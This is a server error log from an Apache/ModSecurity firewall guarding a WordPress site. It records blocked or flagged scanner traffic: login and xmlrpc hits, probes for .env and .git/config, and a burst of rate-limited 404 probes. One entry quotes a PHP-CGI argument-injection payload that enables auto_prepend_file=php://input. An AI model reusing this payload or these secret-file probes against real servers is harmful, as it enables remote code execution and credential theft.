[Thu Apr 23 11:26:40.756809 2026] [:error] [pid 42973:tid 43059] [client 217.165.0.195:57879] [client 217.165.0.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemRcG6I0QqmmmLTHE0oEQAAAJA"]
[Thu Apr 23 11:26:51.308748 2026] [:error] [pid 65000:tid 65038] [client 217.165.0.195:58183] [client 217.165.0.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemRe76vRb9j6psK2ZZKPwAAAgU"]
[Thu Apr 23 11:27:01.911278 2026] [:error] [pid 42972:tid 43031] [client 217.165.0.195:58494] [client 217.165.0.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemRhcOAb-3sOknsk4dqCwAAAE8"]
[Thu Apr 23 11:27:12.462318 2026] [:error] [pid 42972:tid 43020] [client 217.165.0.195:58802] [client 217.165.0.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.0.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aemRkMOAb-3sOknsk4dqIQAAAEQ"]
[Thu Apr 23 12:18:33.357139 2026] [autoindex:error] [pid 64998:tid 65025] [client 89.105.212.242:64758] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 12:18:33.357197 2026] [autoindex:error] [pid 42971:tid 42997] [client 89.105.212.242:64757] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 12:18:33.357988 2026] [autoindex:error] [pid 42971:tid 42990] [client 89.105.212.242:64756] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 12:20:42.310417 2026] [authz_core:error] [pid 43083:tid 43099] [client 64.225.75.246:58586] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Thu Apr 23 12:20:50.661550 2026] [:error] [pid 65000:tid 65041] [client 64.225.75.246:58814] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aemeIr6vRb9j6psK2ZZfWAAAAgg"]
[Thu Apr 23 12:20:55.470893 2026] [:error] [pid 59700:tid 59719] [client 64.225.75.246:58824] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aemeJ5XyGZJFeAIDWtm9dAAAAVE"]
[Thu Apr 23 12:21:14.328838 2026] [:error] [pid 42973:tid 43056] [client 64.225.75.246:43472] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aemeOm6I0QqmmmLTHE1AugAAAI0"]
[Thu Apr 23 12:21:40.117940 2026] [:error] [pid 42973:tid 43057] [client 64.225.75.246:56772] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "aemeVG6I0QqmmmLTHE1A_AAAAI4"]
[Thu Apr 23 12:54:54.994609 2026] [:error] [pid 65000:tid 65030] [client 213.55.96.154:40630] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemmHr6vRb9j6psK2ZZruAAAAgE"]
[Thu Apr 23 12:54:56.945484 2026] [:error] [pid 65000:tid 65047] [client 213.55.96.154:40630] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemmIL6vRb9j6psK2ZZruwAAAg4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 13:19:01.291950 2026] [:error] [pid 42972:tid 43023] [client 202.183.141.189:45202] [client 202.183.141.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.183.141.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemrxcOAb-3sOknsk4eKUgAAAEc"]
[Thu Apr 23 13:19:03.202326 2026] [:error] [pid 42972:tid 43019] [client 202.183.141.189:45202] [client 202.183.141.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.183.141.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemrx8OAb-3sOknsk4eKVwAAAEM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 13:36:08.666871 2026] [:error] [pid 42973:tid 43062] [client 142.93.9.162:38194] [client 142.93.9.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.9.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemvyG6I0QqmmmLTHE1wxAAAAJM"]
[Thu Apr 23 13:36:10.448362 2026] [:error] [pid 42973:tid 43049] [client 142.93.9.162:38194] [client 142.93.9.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.9.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aemvym6I0QqmmmLTHE1wxQAAAIY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 13:46:13.637938 2026] [:error] [pid 64998:tid 65021] [client 147.135.252.182:47112] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/168%20slot.aspx"] [unique_id "aemyJYV5EysYcTLjmwjJRQAAAdM"]
[Thu Apr 23 13:46:15.611139 2026] [:error] [pid 59700:tid 59710] [client 147.135.252.182:47114] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aemyJ5XyGZJFeAIDWtnNugAAAUg"]
[Thu Apr 23 13:46:17.689462 2026] [:error] [pid 42973:tid 43066] [client 147.135.252.182:55826] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aemyKW6I0QqmmmLTHE10PAAAAJc"]
[Thu Apr 23 13:46:19.599705 2026] [:error] [pid 42972:tid 43033] [client 147.135.252.182:55836] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aemyK8OAb-3sOknsk4eTxAAAAFE"]
[Thu Apr 23 13:46:21.463976 2026] [:error] [pid 65000:tid 65057] [client 147.135.252.182:55840] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aemyLb6vRb9j6psK2ZaGuAAAAhg"]
[Thu Apr 23 13:46:23.361649 2026] [:error] [pid 42973:tid 43063] [client 147.135.252.182:55856] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aemyL26I0QqmmmLTHE10SwAAAJQ"]
[Thu Apr 23 13:46:25.179148 2026] [:error] [pid 42973:tid 43047] [client 147.135.252.182:55858] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aemyMW6I0QqmmmLTHE10TwAAAIQ"]
[Thu Apr 23 13:46:27.015286 2026] [:error] [pid 42973:tid 43063] [client 147.135.252.182:33630] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aemyM26I0QqmmmLTHE10WQAAAJQ"]
[Thu Apr 23 13:46:28.986150 2026] [:error] [pid 42972:tid 43039] [client 147.135.252.182:33644] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aemyNMOAb-3sOknsk4eT2wAAAFc"]
[Thu Apr 23 13:46:30.922590 2026] [:error] [pid 42972:tid 43016] [client 147.135.252.182:33654] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aemyNsOAb-3sOknsk4eT5gAAAEA"]
[Thu Apr 23 13:46:32.709986 2026] [:error] [pid 46953:tid 46956] [client 147.135.252.182:33660] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aemyOEnlpdHh-P6wKbrxeQAAAkA"]
[Thu Apr 23 13:46:34.535522 2026] [:error] [pid 65000:tid 65051] [client 147.135.252.182:33670] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aemyOr6vRb9j6psK2ZaGvwAAAhI"]
[Thu Apr 23 13:46:36.454626 2026] [:error] [pid 64967:tid 64987] [client 147.135.252.182:33678] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aemyPIAV4GfOOdX8QzpKzQAAAZI"]
[Thu Apr 23 13:46:38.258712 2026] [:error] [pid 42972:tid 43030] [client 147.135.252.182:60290] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aemyPsOAb-3sOknsk4eT8AAAAE4"]
[Thu Apr 23 13:46:40.187696 2026] [:error] [pid 65000:tid 65055] [client 147.135.252.182:60292] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aemyQL6vRb9j6psK2ZaGywAAAhY"]
[Thu Apr 23 13:46:42.275465 2026] [:error] [pid 42972:tid 43035] [client 147.135.252.182:60300] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aemyQsOAb-3sOknsk4eT9QAAAFM"]
[Thu Apr 23 13:46:44.380616 2026] [:error] [pid 65000:tid 65041] [client 147.135.252.182:60310] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aemyRL6vRb9j6psK2ZaG2gAAAgg"]
[Thu Apr 23 13:46:46.530126 2026] [:error] [pid 59700:tid 59709] [client 147.135.252.182:60324] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aemyRpXyGZJFeAIDWtnNzwAAAUc"]
[Thu Apr 23 13:46:48.477677 2026] [:error] [pid 65000:tid 65047] [client 147.135.252.182:48816] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aemySL6vRb9j6psK2ZaG4gAAAg4"]
[Thu Apr 23 13:46:50.252044 2026] [:error] [pid 42971:tid 42997] [client 147.135.252.182:48826] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aemySjEP2_5RswrH8bH8ngAAAAs"]
[Thu Apr 23 13:46:52.058647 2026] [:error] [pid 42972:tid 43017] [client 147.135.252.182:48834] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aemyTMOAb-3sOknsk4eT-AAAAEE"]
[Thu Apr 23 13:46:53.888232 2026] [:error] [pid 42973:tid 43049] [client 147.135.252.182:48844] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aemyTW6I0QqmmmLTHE10cAAAAIY"]
[Thu Apr 23 13:46:55.701345 2026] [:error] [pid 42972:tid 43040] [client 147.135.252.182:48854] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aemyT8OAb-3sOknsk4eT_AAAAFg"]
[Thu Apr 23 13:46:57.647426 2026] [:error] [pid 64998:tid 65020] [client 147.135.252.182:43536] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aemyUYV5EysYcTLjmwjJfAAAAdI"]
[Thu Apr 23 13:46:59.723631 2026] [:error] [pid 64998:tid 65018] [client 147.135.252.182:43546] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aemyU4V5EysYcTLjmwjJgQAAAdA"]
[Thu Apr 23 13:47:01.652650 2026] [:error] [pid 42973:tid 43049] [client 147.135.252.182:43552] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aemyVW6I0QqmmmLTHE10fQAAAIY"]
[Thu Apr 23 13:47:03.448410 2026] [:error] [pid 42971:tid 42990] [client 147.135.252.182:43562] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aemyVzEP2_5RswrH8bH8oAAAAAQ"]
[Thu Apr 23 13:47:05.392186 2026] [:error] [pid 42972:tid 43023] [client 147.135.252.182:43566] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aemyWcOAb-3sOknsk4eUCAAAAEc"]
[Thu Apr 23 13:47:07.317326 2026] [:error] [pid 46953:tid 46961] [client 147.135.252.182:44132] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aemyW0nlpdHh-P6wKbrxhQAAAkU"]
[Thu Apr 23 13:47:09.244684 2026] [:error] [pid 64998:tid 65022] [client 147.135.252.182:44144] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aemyXYV5EysYcTLjmwjJoQAAAdQ"]
[Thu Apr 23 13:47:11.298544 2026] [:error] [pid 59700:tid 59703] [client 147.135.252.182:44146] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aemyX5XyGZJFeAIDWtnN6AAAAUE"]
[Thu Apr 23 13:47:26.806154 2026] [:error] [pid 65000:tid 65030] [client 147.135.252.182:44154] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aemybr6vRb9j6psK2ZaHFAAAAgE"]
[Thu Apr 23 13:47:28.770008 2026] [:error] [pid 43083:tid 43098] [client 147.135.252.182:35388] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aemycDC5hrvNXosL83JBeAAAAM0"]
[Thu Apr 23 13:47:30.658755 2026] [:error] [pid 65000:tid 65056] [client 147.135.252.182:35402] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aemycr6vRb9j6psK2ZaHJwAAAhc"]
[Thu Apr 23 13:47:32.669519 2026] [:error] [pid 42973:tid 43054] [client 147.135.252.182:35412] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aemydG6I0QqmmmLTHE101gAAAIs"]
[Thu Apr 23 13:47:34.546612 2026] [:error] [pid 42973:tid 43048] [client 147.135.252.182:35420] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aemydm6I0QqmmmLTHE104QAAAIU"]
[Thu Apr 23 13:47:36.572331 2026] [:error] [pid 42973:tid 43047] [client 147.135.252.182:35424] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aemyeG6I0QqmmmLTHE105AAAAIQ"]
